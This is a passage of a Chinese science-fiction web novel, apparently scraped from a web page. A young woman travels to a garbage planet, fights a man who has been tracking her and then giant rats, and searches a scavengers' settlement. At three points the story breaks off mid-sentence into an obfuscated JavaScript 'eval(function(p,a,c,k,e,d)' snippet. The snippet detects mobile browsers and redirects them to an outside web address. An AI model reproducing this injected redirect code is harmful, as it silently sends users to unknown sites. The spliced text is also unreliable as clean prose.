一个醉醺醺的男人,打了个酒嗝,嘿嘿地笑:“你这话说的,不交给尤珈,难道交给你这个瘪三,嗝、你是想当尤里的孙子还是孙女婿啊?” 舱内爆发出一阵哄笑。 尤珈转过头来,逆着光,脸落在阴影里,一双眼睛格外明亮,她也笑着:“再不放心你们不是也得上船吗?如果不怕我把你们像垃圾一样扔出去,就系好安全带,闭上嘴巴。还有你——” 她说着,又瞪着那个喝酒的人:“待会别吐我船上。” 笑声戛然而止,空气中只剩下扣安全带的“啪嗒”声,以及引擎的轰鸣声。 紧接着,飞船机身轻微地震动起来。 洛九天正左右摸索着安全带,飞船忽然离地,从并不宽阔的停机坪上飞驰而出,没有任何摇晃。她瞥见旁边的水桶,里面的水一滴也没有撒出来。 洛九天扭头看向尤珈,只看到一个微扬的侧脸,正目光专注地看着仪表的各项数据,进行调控。 飞船转了个弯,四平八稳地驶向六等星。 舱内的乘客都默默松了口气,沉默中有些无聊,就纷纷闲聊起来。 “小妹妹,你是新人吗?” 坐在洛九天侧边的,正是排队在她前面的那个男人。此时他侧着头,身子探了过来。 “垃圾星很危险的,你要是新人的话,连住的地方都没有,不过我可以带你去我家。” 洛九天不想和这种人搭话,本来想装没听见,但男人的棒球帽帽檐先一步逼近。 太近了,她甚至能看到帽檐上的污渍和头皮屑。 默默往后挪了挪,正张口想让这人离自己远一点,就听见驾驶座那边传来一个响亮的声音:“埃德蒙,今天住你家,明天是不是就得被你卖到矿星当黑工啊?” 名叫埃德蒙的棒球帽男猛然回身,坐直了身体:“尤珈妹妹哪里的话,我这不是关心新人吗?你把我想得太邪恶了点,还是说尤珈妹妹吃醋了,要不然晚上去我那喝两杯?” 像是听了什么滑稽故事,尤珈闷笑两声,头也没回地说:“你做什么脏活呢我管不着,但我劝你别在我的船上打什么坏主意。” 埃德蒙“啧”了一声,凑同伴耳边说了什么,两人对视一眼,没再说话。 原本还打算提醒尤珈,那个埃德蒙请她喝酒是打算骗她的船,现在看来根本不用提醒了,从一开始,尤珈就知道这俩人不是什么好人。洛九天拉了拉兜帽,余光观察着周围人的动静,一刻也没有放松。 今晚的乘客一共有17人,分两侧坐在舱内,洛九天从他们的穿着上一一扫过。也许是因为垃圾星居住条件差,衣服也容易脏,这里面有近一半的人都穿着深黑色的长裤,包括旁边这个埃德蒙,她不确定跟踪自己的人有没有混在其中。 NCC6716星作为卡培星城的牵引星,中间的行程很短。 随着飞船的不断靠近,洛九天逐渐看清垃圾星的地表。 无数的垃圾积聚成堆,形成一座座小山丘,山丘的边缘,有一条星星点点的灯带,应该是垃圾星的居民区。而在不远处,还有一座闪耀着蓝光的弧形高架塔,像一个巨大的燃气灶架在地上。 这应该就是资料上说的牵引机,洛九天想看得更仔细些,下意识扭过头去看窗外。 余光却不小心瞟到了旁边埃德蒙的动作。 他的手反过来别在背后,在座椅后面的架子上摸索,随后用刀片撬开了一个箱子,而他的同伴,正悄悄伸手从箱子里往外掏着什么。 “……”洛九天愣了一瞬,很快反应过来,这俩人是在偷东西! 一时间血往上涌,心跳加速,洛九天张了张口,没发出声音。她初来乍到,如果直接喊人,多半会被这两个人报复,她要怎么告诉那个叫尤珈的船长? 飞船缓缓下落,眼看两个人就要得手,虽然不知道他们偷的是什么东西,但尤珈先前帮她解围,她再怎么不想惹事,总不能一声不吭当没看到。 一着急,洛九天猛地在扶手上拍了一巴掌。 “啪”地一声响,惊动了舱内的乘客,大家纷纷看了过来。旁边的埃德蒙和同伴都只好暂时停手。 埃德蒙浓厚的眉毛下眼露凶光:“你怎么回事?” “我……”洛九天喉咙发干,忽然间往前倾:“……想吐!呕……” 她一边干呕一边往埃德蒙身前凑,脸涨得通红。 “这什么年代了还有人晕飞船?喂喂喂,真该死,你长不长眼睛,居然敢往我身上吐!”埃德蒙一脸厌恶,连连往后闪退。 “呕……我也不想……呕……但是控制不住……”洛九天演得很认真,呕得眼泪都要流出来了。 眼见飞船落到了倾倒垃圾的高架台上,埃德蒙再顾不上偷东西,抬手就要往洛九天肩膀上推。 他手臂粗壮,出手很是迅猛,饶是洛九天从前学过一点拳击,也没来得及躲开。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880951|159820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却没想到,一只手突如其来,架住了埃德蒙的手臂。还不等人反应,那只手犹如毒蛇一般反手缠着埃德蒙的胳膊,狠狠一拧。 只听“咔”地一声,男人的尖叫声响起。 “啊——”埃德蒙托着自己整条脱臼的手臂,不敢置信地看着尤珈:“臭婊子,你疯了吗?” 尤珈不耐烦地甩了甩手:“不,我是船长,而你,每天搭我的船还想偷我船上的东西,你是什么垃圾货色。” “你——” “你什么你,怎么着,就允许你骂我,不准我骂你?”尤珈的嘴唇开合,语速极快。 埃德蒙被骂得恼羞成怒,另一只手紧握成拳,又要挥过来,却被他的同伴一把拦住:“别对她动手,她为星城做事,也算半个星城的人,你在这里打她,会被抓进流民所,而且我们还要坐她的船……” 尤珈眼皮都不眨一下,转身打开舱门:“埃德蒙,今天我卸你一条胳膊,如果你还敢打我飞船的注意,我就卸你两条腿,让你坐不了飞船。” “埃德蒙你可别犯浑,要是尤珈因为你不愿意载我们,看我们怎么收拾你!” “没错!” 舱内的乘客都站了起来,纷纷拦在了尤珈前面。 埃德蒙的脸因为扭曲而显得狰狞,脖子通红一片,青筋一根根暴起,可碍于人多势众,他又确实还需要坐这艘飞船,不得不压制住自己的火气,任由同伴将自己拉走。 等埃德蒙走了,尤珈朝大家挥了挥手:“多谢各位,有空去我家玩,尤里可念叨你们呢。” 见众人一边应答,一边往外走,洛九天也连忙跟了出去。 出了舱门,洛九天才发现,外面是一个起码有20米高的平台。不知什么时候,尤珈已经回到了自己的驾驶椅上,正操控着飞船倾斜弧度,运输飞船的尾部舱门打开,自动驾驶的垃圾车鱼贯而出。 垃圾车行驶到高台边缘后,翻斗往外一倒,垃圾往下滚,砸落在垃圾山上,发出轰隆隆地响声。 而此时,垃圾堆边缘的人早已准备好,还不待尘烟散去,就疯了一般往里冲。 这颗六等星的一天,自夜晚抢着捡垃圾开始。 一起下船的乘客也纷纷跑了起来,他们直奔高架的电梯,企图抢占先机。洛九天愣了一秒,也跟着迈开腿往前跑,顺利地挤进了电梯。 原本她也想跟着捡一捡垃圾的,可下了电梯一看,外面乌泱泱全是人,还各自带着设备,立马放弃了这个念头。 先不说抢不抢得过,一想到后面可能还有人跟踪,洛九天就飞也似的逃离了捡垃圾现场。 不知道跑了多远,跑到她再也跑不动了,洛九天才停下来喘气。 这是一条被人走出来的路,地面的尘土被踩得板结,路的两边都堆积着废弃建筑垃圾。 人的脚步声由远及近。 弓着身子喘气的洛九天,面色发苦,还追呢!真是麻烦。 她已经跑不动了,也不准备再跑,与其一直被跟踪,不如就地反击。 来人的影子,因为远处高塔上的照灯而被拉得很长。 影子一点点靠近,躲在垃圾堆里的洛九天,握紧手中的一截钢筋,屏住了呼吸。 5. 猎手 垃圾堆犹如一头匍匐在地的巨兽,深处隐约传来“吱叽”的怪声。 影子停顿了一瞬,又谨慎地迈出右腿。 洛九天紧咬着唇,心跳如鼓,就在他右脚落地的一瞬间,手中钢筋猛然往前掼出,直刺来人膝盖骨。 钢筋的尖端捅进黑色裤管,那人吃疼,整个人往后摔倒在地。不等他做出反应,洛九天从垃圾堆的阴影中一跃而出,手中钢筋狠狠拍向他后脑勺。 却没想到那人快速做出了反应,单手撑地就要站起来。 这一拍,钢筋恰好落到他后脖颈处。也许是打到了颈动脉窦,那人瞬间软倒在地,昏死过去。 晕了?还是死了? 洛九天有一瞬间地愣神,手不受控制地颤抖,她握紧手中的钢筋,走过去探他的鼻息,没死。 这个人留着褐色的短碎发,面孔很年轻,上面穿着一件黑色防风外套,整个人阴沉又普通,看不出什么来头。 她伸手在他身上摸索,很快从外套内袋里翻出来一把匕首。 想了想,洛九天把匕首揣进自己裤兜里,从垃圾堆里翻出来一根带穗的长绳,约莫是窗帘绳之类的东西,走到那人身边,将他的手脚都捆了起来,打了个死结。 洛九天一抬眸,就和他四目相对。 洛九天手疾眼快抓起地上的钢筋,抵在了他的喉咙上,沉声问:“你是什么人?为什么要跟踪我?” 黑衣人偏了偏脑袋,试图让脖子离钢筋远一些:“我劝你别问,知道太多对你没有好处。” “那让我猜猜,是想杀了我封口?还是想把我抓住卖到矿星?”洛九天目不转睛地盯着他的神情。 “还是……我身上有你要的东西?” 黑衣人茶色的瞳孔紧缩,眼皮一敛,避开了洛九天的审视。 “爱丽丝,激光刀。”黑衣人嘴唇快速开合,吐出几个字眼。 像是下了一个指令,又像是说了一句咒语,洛九天还没来得及反应,黑衣人手腕上忽然射出一道红光。 捆绑住他双手的粗绳瞬间被切割成数段。 那道激光向着洛九天笔直地照射过来,洛九天下意识偏了一下身体。 转瞬间,数道激光射出,洛九天一一躲过。激光刀射到垃圾堆上,直接将一块废弃钢板洞穿,火花飞溅,落在堆积的废弃窗帘上,布料瞬间燃烧起来。 就趁这个空当,黑衣人已经解开了脚上的绳索,一瞬间扑了过来。 洛九天手中钢筋突刺过去,却不想被他一把抓住。 她身体机能还没有完全恢复,更何况对方人高马大比她高出一个头,之前能制住对方全靠偷袭,现在应对起来却十分吃力。 缠斗之间,黑衣人双手抓住钢筋,横在了洛九天的脖子上,用力往后勒。 “我本来不想杀人的,为什么非要逼我?”黑衣人面目狰狞,语气里充满了歇斯底里的愤恨。 喉咙被钢筋死死扼住,洛九天呼吸不上空气,太阳穴突突地跳,她可不能刚苏醒就死在这里。 一只手抵住钢筋往外掰,另一只手肘往后使劲,用力击打身后黑衣人的下腹。 黑衣人痛得闷哼出声:“你别动,等我找到东西,或许可以留你一命,否则只好把你的头摘下来。” “咳、谁死……还不一、定呢。” 刹那间心念电转,如果她没看错,黑衣人的激光刀,是从手腕上的光脑里发出来的。市场上售卖的光脑,本身是用于通讯网络的工具,这种带有激光刀的配置,多半是私下改造。激光刀虽然锐利,但射出的激光却需要消耗不少能量,也就是说,激光刀的使用次数非常有限。 黑衣人不再使用激光刀,而是想用钢筋制服她,也正好说明了这一点。 她还有机会活。 洛九天伸手往裤兜里摸,那把匕首正好能派上用场。 握住匕首端,洛九天心中一横,反手往后刺去。 自记事起,她就在寄宿学校上学,纵然也听老师讲过隐藏在和平下的黑暗与血腥,但她从未亲身经历过。于是也下意识地认为,凡事可以讲道理,就算对方有所图,她也可以与对方达成协定,但在生死之间她才明白,黑夜里隐藏着未知的猎手,随时准备将她一击毙命。 而从现在开始,她要学着做猎手。 刀尖划破黑衣人的衣衫,刚扎进肉里,伴随着黑衣人一声痛呼,她脖子上忽然一松。 洛九天蹙眉,她能感觉到,她扎得明明还不够深。 她连忙挣扎着翻过身,扬起匕首准备再来一刀,就发现黑衣人一手捂着肚子,一手摸着后脑勺,歪歪斜斜地往旁边偏倒。 而黑衣人的身后,尤珈拎着一根黑棍,正朝自己眨眼。 “是你……”洛九天震惊得目瞪口呆。 说话间,黑衣人稳住了摇晃着的身子,猛吸了一口气,正要转身攻击背后的尤珈。。 “小心!” 洛九天话音刚落,尤珈已经操起手中的黑色电棍,抵在黑衣人背心上。下一秒,她按下了电棍上的启动键。 只听“滋——”地一声,电光闪过,黑衣人僵了一瞬,直挺挺地倒在了地上。 “他这是……被电晕啦?”洛九天看了看尤珈,又看了看地上躺着的黑衣人。 “不一定。”尤珈眉头蹙了一下,摇了摇头。 洛九天立即警惕起来,决定上前补刀,就听尤珈又说:“我直接开的最大档位,电死了也说不定,呃,你要活的啊?” “……”洛九天上前猛踹了黑衣人两脚,见对方毫无反应,这才心里一松:“无所谓,死的活的都行。” 说完,她身上卸了力,一屁股坐在地上喘气。 夜风吹来,脊背发凉,她这才发现不知道什么时候,汗水把衣服都打湿了。 洛九天摸了摸肿痛的脖子,仰头看向尤珈:“那个……刚才谢谢你啊。” “不用客气,之前你在飞船上也帮过我,不然能量晶卡就被埃德蒙那家伙偷走了,咱们算扯平。”尤珈说着说着笑了起来:“虽然你装呕吐的样子实在太好笑了,哈哈哈!” “……”洛九天默默擦了一把额头的汗。 尤珈走了过来:“说起来,我就是怕埃德蒙报复你,所以才出来看看,你跑得还挺快,要不是那堆火,我还找不到你。” 洛九天看着尤珈一步步走近,看着她弯下腰来,朝自己伸出右手。 由废弃窗帘燃烧起的火势还在扩大,火光热情地亲吻她的脸庞,将脸颊上的小雀斑也照得十分清楚。她的红发因为夜色而深沉,只在光里偶尔亮出一抹红色,就像……灰烬里的火星。 “尤珈·安葵拉。”尤珈念了自己的全名。 “洛九天。”洛九天将匕首收起来,伸出了自己的右手,任由尤珈将自己一把拉了起来。 “这个人你打算怎么处置,他是第一次乘我的飞船,之前没在垃圾星见过他。”尤珈下巴微扬,指向地上的黑衣人。 洛九天走过去,探了黑衣人的颈动脉,发现还有微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880952|159820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弱的跳动,应该还活着,便抓起对方的右手,想要取下他手上的光脑。 “光脑的手环需要主人的虹膜验证才能解开,你这样是卸不下来的。”尤珈在后面解释:“对了,我发现你好像还没有光脑,你是才从休眠公司出来的吧?” “嗯。”洛九天点点头,抬起黑衣人的手臂,掰开他的眼皮。验证成功,光脑应声掉在了地上。 洛九天将光脑捡起来,想了想,又找了一块破布,撬开黑衣人的嘴巴,塞了进去。 接着,她开始细细地搜索黑衣人身上的每一处口袋。 尤珈也在旁边蹲下,帮着她翻找,她上手捏住黑衣人的下巴端详:“这人谁啊?看起来不像人贩。” “不认识。”洛九天若有所思:“为什么看起来不像人贩?” “见多了呗,感觉。在垃圾星,埃德蒙那种败类就像巨蒙鼠一样多,你可得多长个心眼,小心被打晕了卖到矿星去。” 说着话,俩人手上也没停,片刻过后,从黑衣人身上摸出来一瓶话梅糖、一只笔,一只单眼望远镜。 尤珈看了一眼话梅糖瓶子上的产地:“是图西崖星产的话梅糖哎,我们这种小地方可吃不到,赚了赚了。” 洛九天看了她一眼:“那给你。” “好哎。”尤珈笑嘻嘻地打开瓶盖,将里面的糖往外倒。 “这是什么?”洛九天从外套的内袋里,摸出来一个厚厚的卡片,拿在手里很沉。 巴掌大小,就像是……她小时候见过的一个叫磁带的老物件。 “能量晶卡!”尤珈眼睛一亮:“给我看看。” 洛九天递了过去:“那是什么?” 尤珈:“储存电能的卡,你在垃圾星肯定能用得上,不过要小心被人看见,不便宜。” “……”洛九天嘴角扯了一下,听起来好像就是一个充电宝。 “为什么叫晶卡,和充电宝有什么区别?”洛九天问。 “充电宝,好古董的名字,里面是锂电池的那个?不一样的,晶卡里面是多纳尔晶体,储电能力至少是充电宝的100倍吧。” 多纳尔晶体……这东西洛九天是知道的,不过230年前,这种东西还只用于机甲和军事基地供能,没想到现在已经这么普遍。 洛九天:“172倍。” “什么?” “同样大小情况下,多纳尔晶体的能量密度,是锂聚合物的172倍。”洛九天解释。 “原来你知道啊,太好了,我还以为我们之间会有代沟呢。”她拿着能量晶卡,就着火光端详:“不过这张晶卡的纯度,比我们这里的好不少,这上面印着一把叉子,什么牌子,好像在哪里见过……” 话没说完,尤珈忽然之间变了脸色。 “这不是叉子,是朗基努斯之枪,啊,这是圣朗基努斯的校徽。”尤珈从地上弹起来:“你怎么会惹上军校的人?” “圣朗基努斯……军校?”洛九天没听说过。 “没错,目前综合实力最强的军校,所以,我把圣朗基努斯的人给打晕了?”尤珈张大嘴巴,半晌没合上。 洛九天以为她在担忧,却见尤珈忽然眉飞色舞了一下,说了一句—— “我可真厉害啊!” “……你难道不应该后悔惹上麻烦么?”洛九天提醒她。 “哦对,尤里说了,不能惹有军方背景的人。”尤珈回过神来,将手里的电击棍塞到洛九天手上:“这人是你电的,你就当我没出现过啊。” 6. 夜斗 尤珈话一说完,人已经闪出了几米远,很快消失在案发现场。 洛九天低头看向地上的黑衣人,心里有些犯难。 如果他真是军校生,就不能让他死在这里。卡培星城的摄像头随处可见,一旦军校方面着手查找失踪学生,很容易发现他到过垃圾星,到时候排查起来,她可能惹上更大的麻烦。 可她也不愿意就这么轻轻放过要勒死自己的人。 电棍握在手中很有分量,洛九天掂了掂,发现就是普通的防卫电棍,高压低电流,只能致人昏迷,根本电不死人。她有些不放心,将电棍杵在黑衣人肩膀上,按下启动键,又电了一次。 见对方躺在地上和死了没区别,洛九天这才满意地收手,将电棍夹在了胳膊下面,掏出那块光脑,蹲地上研究。 光脑的底部有一个激光刀外置装置,但在刚才的电击中已经报废,而光脑本体不知道是什么材质制作的,居然严丝合缝,一点问题都没有。 光脑屏幕只有电子表大小,界面上以网格划分区域,显示着一个红点,一个箭头。此时,红点和箭头重叠在一起。 她站起来,试着往旁边走了十几步。 红点和箭头依然重叠,洛九天愣了一瞬,她早就猜到对方有追踪系统,所以在偷袭之前,就把双肩包藏在了垃圾堆里,但没想到追踪器不在背包里,而是在她身上! 她身上除了一身衣服,没有任何其他的物品。洛九天下意识摸索衣服上的拉链,忽然顿住了手。 之前太过紧张,她一直忽略了耳后的缝合口,此时那里传来的痛感依然清晰。 难道是里面的语音自译芯片有问题? 那个叫瓦莱里雅的医生,难道和黑衣人是一伙的?可直觉告诉她,事情应该不是这么简单,否则瓦莱里雅何必约她两天后在诊所见面。 语音自译芯片已经植入脑子里,她不可能贸贸然打开自己的脑壳,把芯片抠出来。眼下唯一能做的,就是将自己的定位,从这个追踪系统里删掉。 她伸出一根手指,在光脑上的屏幕上点了点,见没有任何反应,猜想这多半是只有光脑主人才能操控的防盗系统,只得捏住黑衣人右手食指,往屏幕是戳过去。 屏幕上立即弹出来一个提示:“确定删除定位点?删除后,进行编码信号对接,方可再次定位。” 意思是,只要不对接,这台光脑就定位不到她。洛九天当即点了“删除”。 解决了追踪定位,她又扒拉黑衣人的手指,想要开启光脑的后台桌面,了解一下黑衣人的其他信息,谁知光脑屏幕上直接甩出一大段红字。 “您的光脑目前处于脱机状态,是否接入网络联机?检测到您正在使用未知程序,联机一旦开启,防火墙将自动屏蔽该程序,可在后台修改防火墙权限,但使用记录将被上传至智慧之光脑机总部。” 未知程序?是不是说的追踪系统? 洛九天有些讶异,这个人为了避免使用记录被上传,所以将光脑设置成了脱机状态。这是不是至少说明,他跟踪自己是在偷偷摸摸中进行的,这是一件上不得台面的事情。 想也不想,洛九天直接点了“确认联机”。 “联机中,请在3秒后,使用语音呼唤爱丽丝,3、2、1——” 时间不等人,洛九天硬着头皮开口:“爱丽丝……” “检测到人声数据不一致,人眼数据不一致,爱丽丝无法进行联机,如24小时内不进行解锁,爱丽丝将会开启自助自救定位系统。” “……” 又定位? 还倒计时? 很好玩是吧? 还不等她反应,光脑屏幕上出现了一个大大的倒计时。 洛九天深呼吸了一口气,走到一旁的火堆前,将光脑丢了进去。光脑的外壳材料绝缘防电,多半也防水防火,她倒想看看遇火反应。 不出所料,光脑防火,高温下,光脑外壳变成了一种接近水银的颜色,反射着火光,但整体不仅没有任何被火烧焦的迹象,还将火势压了下去。很快,在废弃窗帘布都烧光后,火势渐渐熄灭,只剩下一股人造纤维的焦臭。 片刻过后,温度稍降,光脑外壳又恢复了一开始的黑色,洛九天咋舌,想了想,又将这个烫手山芋从灰堆里扒拉出来。 “吱叽——” 她还没直起身,耳朵已经注意到垃圾堆里传来的动静。 声音由远及近,一个硕大的黑影,从堆积成山的垃圾上一跃而下,张大嘴巴露出两根长长的门牙,猛地扑咬过来。 洛九天忙不迭就地一滚,躲过了突如其来的攻击。 几番闪避过后,就着远处晦暗不明的灯光,洛九天看清攻击自己的野兽—— 鼠眼中发出暗幽幽的绿光,门牙不停地上下开合,后腿健硕爆发力惊人,当它两只前腿举起来纵身一跃时,足有成人那么高。 野兽巨大的影子投射下来,将洛九天整个人笼罩其中,她瞬间意识到,这就是瓦莱里雅口中说过的巨蒙鼠。 “巨蒙鼠常出没在垃圾堆里,如果你不注射疫苗,被咬一口,会伤口溃烂高热而死,总之,你很快就会明白的。” 她是这么说的。 “吱叽——” 原来这是巨蒙鼠的叫声。 这只巨蒙鼠应该是一开始就躲藏在垃圾堆里,只是她当时一心想偷袭黑衣人,所以没有发现。 眼看巨蒙鼠朝自己扑而来,洛九天左手拿棍,右手去摸匕首。 迎着巨蒙鼠扑来的方向,洛九天顺势后倒,匕首刺向巨蒙鼠的胸腔,却没想到巨蒙鼠的皮毛十分厚实,她慌乱一刺,只浅浅划出一道口子。 巨蒙鼠没能毙命,发出一声怪叫,远处的垃圾堆传来窸窸窣窣滑落的声响,似乎有什么东西在里面奔跑翻拱。 它在召唤同伴! 洛九天不等它同伴出现,抬起电棍朝着眼前的巨蒙鼠狠狠砸下去,同时按下了开关。3秒过后,巨蒙鼠轰然倒地。 可没想到它的同伴来得那么快,一转身,洛九天就和赶来的两只巨蒙鼠打了个照面。 在两只巨蒙鼠的夹击下,洛九天基本没有进攻的余地,她只能连滚带爬地翻滚着躲避。 肾上腺素不受控制地飙升,洛九天呼吸急促起来,头脑却越打越清醒。好不容易电晕一只巨蒙鼠,洛九天再站起来的时候,已经灰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880953|159820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头土脸,十分狼狈。 不等她喘息,另一只又扑了上来,就在洛九天准备如法炮制,将它电晕时,巨蒙鼠前爪一挥,猛然拍向她的手臂,将电棍打落在地。 电棍砸在地上,洛九天闪身去捡,却鞭长莫及。一咬牙,她找准机会,将匕首扎进了巨蒙鼠的眼睛! 巨蒙鼠痛得尖叫起来,慌不择路地乱扑。 腥臭的门牙近在咫尺,洛九天避无可避,两手却空空如也,下意识掏出兜里的东西想投掷过去。 摸出来的是黑衣人的光脑!电光火石之间,洛九天没有犹豫。 “咯叽”一声,光脑被巨蒙鼠吞进喉咙。 巨蒙鼠像是被呛到一般,原地打转,不停发出呼噜的声音,但却无法将光脑吐出。也许是同伴接连倒地,自己又受到重创,巨蒙鼠很快停止了攻击,夹着尾巴钻进了垃圾堆。 转眼间,四野安静下来。 洛九天这才发觉自己浑身酸痛,一片黏湿,不知道是血还是汗水。好在身上虽然有多处挫伤和擦伤,但她没有被巨蒙鼠咬中。 刚才一路打一路跑,不知不觉跑出了老远,想到自己的背包还在原地,她捡起地上的匕首和电棍往回走。 在黑暗中摸索着原路返回,洛九天远远看到一地烧焦的黑灰,像一口幽深的黑洞。被电晕的巨蒙鼠躺在路边,而原本应该躺在地上的黑衣人,却凭空消失了。 洛九天喉咙发紧,悄无声息地躬身蹲了下去,生怕黑衣人再从某个角落冲出来,要取她的脑袋。 她已经精疲力竭,没有一点力气。 也不知过了多久,汗水从额头滴下来,落在眼眶里,将她眼睛灼得生疼。 四周寂静一片,再无半点声息。洛九天有些腿麻,索性坐在了地上。 又过了一个小时,洛九天才从垃圾堆的阴影中走了出来,在一堆垃圾里翻出自己的背包,背上离开。 如果黑衣人醒了,势必会再来找她,但没有了追踪系统,他很难在人员复杂垃圾成山的星球将她刨出来。 正好,光脑的定位也解决了。 一想到光脑会在巨蒙鼠肚子里开启自助自救系统,定位可能在垃圾堆里跑出一副乱七八糟的线路图,洛九天抹了一把脏兮兮的脸,默默笑了起来。 她顺着路往有灯的居民区走,却并不敢贸然走进居民区,远远看着一片灯光,洛九天停了下来。 万一这里面住着埃德蒙那种人贩,她岂不是自己走进贼窝? 这么一想,洛九天决定在居民区外的垃圾堆里休整,度过这漫长的一夜。经过这一晚的折腾,她对休息的地方已经没有要求,只要安全就行。 很快,她就在垃圾堆外围发现一只倒放的双开门大冰箱。 冰箱的门关得很严实,她伸手掰开,将里面的抽屉和隔板一个个都取了出来,扔在旁边,然后整个人缩着躺了进去。 狭小密闭的空间,让洛九天感觉很踏实,紧绷的神经松懈下来,有一种轻微的死感。 脑袋晕乎乎的,眼前黑咕隆咚一片,看着看着,慢慢有些五彩斑斓起来,洛九天猛然起身,推开了冰箱门。 太闷了,差点闷死在里面。 7. 机甲 阳光穿过冰箱门支棱出来的缝隙,照射在洛九天的脸上。 她睁开眼,将卡住冰箱门的背包扯下来,推开门坐直了身体。外面的天已经大亮,日光穿过垃圾山,在地上投下阴翳。 经过一夜的休息,身上的擦伤基本已经结痂,挫伤肿了起来,青一块紫一块,手指碰一下,疼得她龇牙咧嘴。 饥饿和干渴一齐袭来,洛九天感觉自己像一个刚从坟堆里爬出来的僵尸,她掏出还剩一半的纯净水,连喝了两大口,随后拧紧瓶盖,打开了自己的背包。 寄宿学校每年放暑假,她都会去苍旻基地找母亲洛晓河,这是那会儿背的包。遭遇导弹袭击之前,她已经在苍旻基地的员工宿舍呆了一周,很多衣物书本都拿了出来,所以里面并不剩多少东西。 两只扎头发用的黑色发圈,一个不锈钢的白色保温杯,两只口罩,一包抽纸巾。一个对折卡包,里面有她的个人身份证和一张银行卡,估计目前都已经失效。 背包侧边的工具袋里,还剩下一柄尖嘴钳,一把小型精密十字螺丝刀。这套螺丝刀本来有五个型号,其他四把都拿出来用过,在爆炸中没来得及收拾。 除此之外,还有两样东西,应该是爆炸后,救援人员替她收拾进来的。一部上学时使用的平板电脑,不过放了230年,可能是部件损坏或者没有电的原因,一时半会无法开机。 洛九天视线落在最后那盏流星感应灯上。流星的一角,因为撞击破损,露出里面的电线和感应器。 她伸手拍了一下,流星灯没有亮。 想来也是,什么电池能经得起230年的损耗啊。 将东西全都塞回背包里,洛九天拎起包,走出冰箱。这是她来到六等星的第一个白天,她决定出去找点能吃的东西充饥。 走了大概半个小时,她就明白过来,想要在垃圾堆里刨出点吃食基本是不可能的。 但凡能回收利用的厨余垃圾,都会在垃圾分类处理厂进行回收,加工成肥料二次利用。这里只有一堆又一堆废弃塑料制品、工业废料、建筑废材,以及因回收成本太高而被舍弃的破烂家具电器。 在NCC6716星捡垃圾的拾荒者,大多也是切割可回收金属材料,贩卖到更落后的星球去。 拾荒者的切割工具并不先进,有的人从昨晚上一直忙活到现在。洛九天一路走来,也不是没有收获,她在一堆废弃电器里捡到一个端口转换器。 从黑衣人那里得来的能量晶卡,充电感应柱经过更新升级,和230年前的平板电脑端口不匹配,没办法直接充电。这个早已被时代淘汰的端口转换器,里面金属含量太少,所以没有被捡走,她撕掉上面黏糊糊卷着边的卡通贴纸,用平板试了一下,发现居然可以使用。 把平板电脑充上电塞回背包,洛九天望着满地破铜烂铁,心痛不已。这些废弃旧电器太可惜了,即使部件损坏,也应该有很多完好的零件才对,到了垃圾星,能拆的金属材料都被拾荒者暴力切割捡走,只剩下一堆没用的边角料。 洛九天暗自鼓劲,等今晚上垃圾飞船一来,她也要第一个冲上去捡垃圾! 眼看在垃圾堆里刨食是不可能了,洛九天顺着路,往一边的居民区走去。 所谓的居民区,其实就是拾荒者搭建的屋子,随意聚集在一起。随着垃圾场的范围不断扩大,围绕着垃圾场搭建的居民区,也不断后退,往外扩大,形成了一条长长的带状区,将垃圾场包围在中间。 逼近垃圾场边缘的,是一些废弃楼房,由于无法往外搬,几乎已经被垃圾吞噬。在夜晚时,这里会变成巨蒙鼠的乐园。洛九天从旁边走过,避开那些干结的粪便,散落的白骨,其中一个属于人类的头骨上,有一排被啃噬的门牙印。 再往外,是相对灵活的活动板房和集装箱房。许多人穿着污迹斑驳的工装,正在忙着清点一晚上的拾荒成果。 除此之外,还零散地分布着一些帐篷,咒骂声和调情声充斥其中。也有人衣不蔽体躺在阴凉处,躲避灼灼烈日,奄奄一息地呻吟,发出腐烂的臭味。 越往里走越热闹,有的拾荒者捡到价值不错的材料,又没有渠道脱手的,会就地摆摊卖掉。久而久之,在杂乱的居民区中间,居然形成了一条街道。 而就是在这样一个充斥着废败气息的荒土,洛九天居然听见了洪亮的读书声,还有几个穿着灰扑扑衣服的小孩,正背着书包往那边跑去。 洛九天讶异地跟在后面,很快,就看到了小孩们的目的地。 这条街都没有什么正经营业的店铺,但街道的尽头,有一家名叫东升副食店的小卖部,副食店没有人看店,只有一台自助付款机。 副食店用活动板房搭建,前后有门,一眼能望到后院,那里坐着十几个小孩,正在念书。一旦有人进去买东西,所有孩子的眼睛都齐刷刷盯过来。只要不是穷凶极恶的歹人,或者还要在垃圾星混下去,没有人想在一群孩子的眼皮底下,买东西不付钱。 